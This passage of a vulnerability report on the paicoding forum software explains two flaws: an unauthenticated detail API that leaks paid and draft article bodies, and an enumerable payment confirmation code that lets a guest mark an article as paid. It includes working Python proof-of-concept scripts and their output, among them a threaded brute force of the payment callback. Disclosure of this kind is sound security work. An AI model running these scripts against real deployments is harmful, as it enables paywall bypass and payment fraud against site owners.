detail(@PathVariable(name = "articleId") Long articleId) throws IOException {
ArticleDetailVo vo = new ArticleDetailVo();
// 文章相关信息
ArticleDTO articleDTO = articleService.queryFullArticleInfo(articleId, ReqInfoContext.getReqInfo().getUserId());
// 返回给前端页面时，转换为html格式
articleDTO.setContent(MarkdownConverter.markdownToHtml(articleDTO.getContent()));
vo.setArticle(articleDTO);
```
Only the page rendering path truncates the body:
```java
// paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/view/ArticleViewController.java:247-249 commit 6b85f5c327
ArticleDTO articleDTO = articleService.queryFullArticleInfo(articleId, ReqInfoContext.getReqInfo().getUserId());
// 根据文章类型，来自动处理文章内容
String content = articleReadViewServiceExtend.formatArticleReadType(articleDTO);
```
`formatArticleReadType` truncates the body according to `readType`, but the detail API never passes through it. In addition, `ArticleDao.queryArticleDetail` only restricts articles under review, so the draft state is not covered:
```java
// paicoding-service/src/main/java/com/github/paicoding/forum/service/article/repository/dao/ArticleDao.java:71-85 commit 6b85f5c327
ArticleDO article = baseMapper.selectById(articleId);
if (article == null || Objects.equals(article.getDeleted(), YesOrNoEnum.YES.getCode())) {
return null;
}
// 查询文章正文
ArticleDTO dto = ArticleConverter.toDto(article);
if (showReviewContent(article)) {
ArticleDetailDO detail = findLatestDetail(articleId);
dto.setContent(detail.getContent());
} else {
dto.setContent("### 文章审核中，请稍后再看");
}
```
The bodies of drafts, paid articles and member articles are therefore returned unchanged by this API. The article short link entry `ArticleSlugViewController` renders the detail by id, so drafts are readable through the short link page as well.
### Reproduction Environment
Same as section 1.
### Reproduction
First create a paid article and a draft as the administrator, then read them with an anonymous session. The script is:
```python
import httpx, time
BASE = 'http://127.0.0.1:18070'
SECRET = 'PAYWALL_SECRET_9Z'
DRAFT = 'DRAFT_SECRET_7Q'
admin = httpx.Client(base_url=BASE, timeout=20)
admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'})
slug1 = 'paidleak%d' % int(time.time())
paid = admin.post('/article/api/post', json={
'articleType': 'BLOG', 'source': 2, 'title': 'paid-leak-demo', 'urlSlug': slug1,
'content': '' + 'A' * 600 + SECRET + '
', 'categoryId': 1, 'readType': 4,
'payWay': 'email', 'payAmount': 9, 'actionType': 'post', 'tagIds': [1],
'summary': 'paid'}).json()['result']['articleId']
slug2 = 'draftleak%d' % int(time.time())
draft = admin.post('/article/api/post', json={
'articleType': 'BLOG', 'source': 2, 'title': 'draft-leak-demo', 'urlSlug': slug2,
'content': '' + 'B' * 600 + DRAFT + '
', 'categoryId': 1, 'readType': 0,
'actionType': 'save', 'tagIds': [1], 'summary': 'draft'}).json()['result']['articleId']
print('[victim] paid article id=%s slug=%s' % (paid, slug1))
print('[victim] draft article id=%s slug=%s' % (draft, slug2))
anon = httpx.Client(base_url=BASE, timeout=20)
page = anon.get('/' + slug1).text
print('[anonymous] GET /%s page contains secret: %s' % (slug1, SECRET in page))
body = anon.get('/article/api/data/detail/%s' % paid).json()['result']['article']['content']
print('[anonymous] REST detail tail: %r' % body[-80:])
print('[anonymous] REST detail contains secret: %s' % (SECRET in body))
page = anon.get('/' + slug2).text
print('[anonymous] GET /%s page contains draft secret: %s' % (slug2, DRAFT in page))
body = anon.get('/article/api/data/detail/%s' % draft).json()['result']['article']['content']
print('[anonymous] REST detail contains draft secret: %s' % (DRAFT in body))
```
The output is:
```
[victim] paid article id=2631610710155265 slug=paidleak1794451813
[victim] draft article id=2631610710155266 slug=draftleak1794451814
[anonymous] GET /paidleak1794451813 page contains secret: False
[anonymous] REST detail tail: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAYWALL_SECRET_9Z\n'
[anonymous] REST detail contains secret: True
[anonymous] GET /draftleak1794451814 page contains draft secret: True
[anonymous] REST detail contains draft secret: True
```
An ordinary user cannot read the `PAYWALL_SECRET_9Z` part of the paid article:
## 7. Enumerable confirmation code for payment QR
Brief description: An attacker enumerates the confirmation code of a payment record, marks it as paid and unlocks the paid article without paying.
Affected versions: 1.0.3
Introduced in: [paicoding commit e491dfdf](https://github.com/itwanger/paicoding/commit/e491dfdff57b6ab8c5ca7488faefdd8cd20f6206)
Preconditions: The attacker has an ordinary account, and the target article uses a personal payment QR code.
### Root Cause
The confirmation code is built from a fixed prefix, a global increasing counter and the payment record id:
```java
// paicoding-core/src/main/java/com/github/paicoding/forum/core/util/id/IdUtil.java:54-61 commit 6b85f5c327
public static String genPayCode(ThirdPayWayEnum payWay, Long id) {
long now = System.currentTimeMillis();
if (DateUtil.skipDay(lastTime, now)) {
lastTime = now;
INCR.set((int) (Math.random() * 500));
}
return payWay.getPrefix() + String.format("%06d", INCR.addAndGet(1)) + "-" + id;
}
```
`INCR` is a counter inside the process that starts each day from a random value between 0 and 499, so the counter part only has around 2000 possible values. The payment record id comes back to the payer in the `toPay` response.
The callback endpoint requires no login and passes the request parameters to the payment service:
```java
// paicoding-web/src/main/java/com/github/paicoding/forum/web/front/article/rest/ArticlePayRestController.java:79-90 commit 6b85f5c327
@RequestMapping(path = "callback")
public ResponseEntity> callback(HttpServletRequest request) {
return (ResponseEntity>) payServiceFactory.getPayService(ThirdPayWayEnum.EMAIL)
.payCallback(request, new Function() {
```
The payment service reads `verifyCode`, `payId` and `succeed` from the request:
```java
// paicoding-service/src/main/java/com/github/paicoding/forum/service/pay/service/integration/email/EmailPayIntegration.java:58-62 commit 6b85f5c327
public PayCallbackBo payCallback(HttpServletRequest request) {
String outTradeNo = request.getParameter("verifyCode");
Long payId = Long.parseLong(request.getParameter("payId"));
PayStatusEnum payStatus = Objects.equals("true", request.getParameter("succeed")) ? PayStatusEnum.SUCCEED : PayStatusEnum.FAIL;
```
`updatePayStatus` only compares the `verifyCode` stored in the record and never checks who the caller is, so enumerating the counter marks the record as paid.
### Reproduction Environment
Same as section 1.
### Reproduction
The script is:
```python
import concurrent.futures, httpx, time
BASE = 'http://127.0.0.1:18070'
SECRET = 'PAYBYPASS_SECRET_77'
admin = httpx.Client(base_url=BASE, timeout=20)
admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'})
admin.post('/user/api/saveUserInfo', json={'userId': 1, 'userName': '管理员',
'payCode': {'email': 'admin@paicoding.example'}})
slug = 'paidemail%d' % int(time.time())
r = admin.post('/article/api/post', json={
'articleType': 'BLOG', 'source': 2, 'title': 'paid-email-demo', 'urlSlug': slug,
'content': '' + 'C' * 600 + SECRET + '
', 'categoryId': 1, 'readType': 4,
'payWay': 'email', 'payAmount': 1, 'actionType': 'post', 'tagIds': [1], 'summary': 'p'})
aid = r.json()['result']['articleId']
print('[victim] paid article id=%s slug=%s payWay=email' % (aid, slug))
att = httpx.Client(base_url=BASE, timeout=20)
att.post('/login/register', data={'username': 'payleech', 'password': 'Pay@12345',
'starNumber': '01040', 'displayName': 'payleech'})
att.post('/login/username', data={'username': 'payleech', 'password': 'Pay@12345'})
pay = att.get('/article/api/pay/toPay', params={'articleId': aid}).json()['result']
pay_id = pay['payId']
print('[attacker] toPay -> payId=%s payStatus=%s payWay=%s' % (pay_id, pay['payStatus'], pay['payWay']))
def probe(n):
code = 'EM%06d-%s' % (n, pay_id)
rr = httpx.get(BASE + '/article/api/pay/callback',
params={'verifyCode': code, 'payId': pay_id, 'succeed': 'true'}, timeout=5)
if rr.status_code == 200 and rr.json().get('result') is True:
return code
return None
found = None
with concurrent.futures.ThreadPoolExecutor(max_workers=30) as ex:
for res in ex.map(probe, range(0, 2000)):
if res:
found = res
break
print('[attacker] matched verifyCode=%s' % found)
anon = httpx.Client(base_url=BASE, timeout=20)
print('[anonymous] page contains secret before: %s' % (SECRET in anon.get('/' + slug).text))
print('[attacker] page contains secret now: %s' % (SECRET in att.get('/' + slug).text))
```
The output is:
```
[victim] paid article id=2631610238296065 slug=paidemail1794451364 payWay=email
[attacker] toPay -> payId=2631610238296066 payStatus=0 payWay=email
[attacker] matched verifyCode=EM000012-2631610238296066
[anonymous] page contains secret before: False
[attacker] page contains secret now: True
```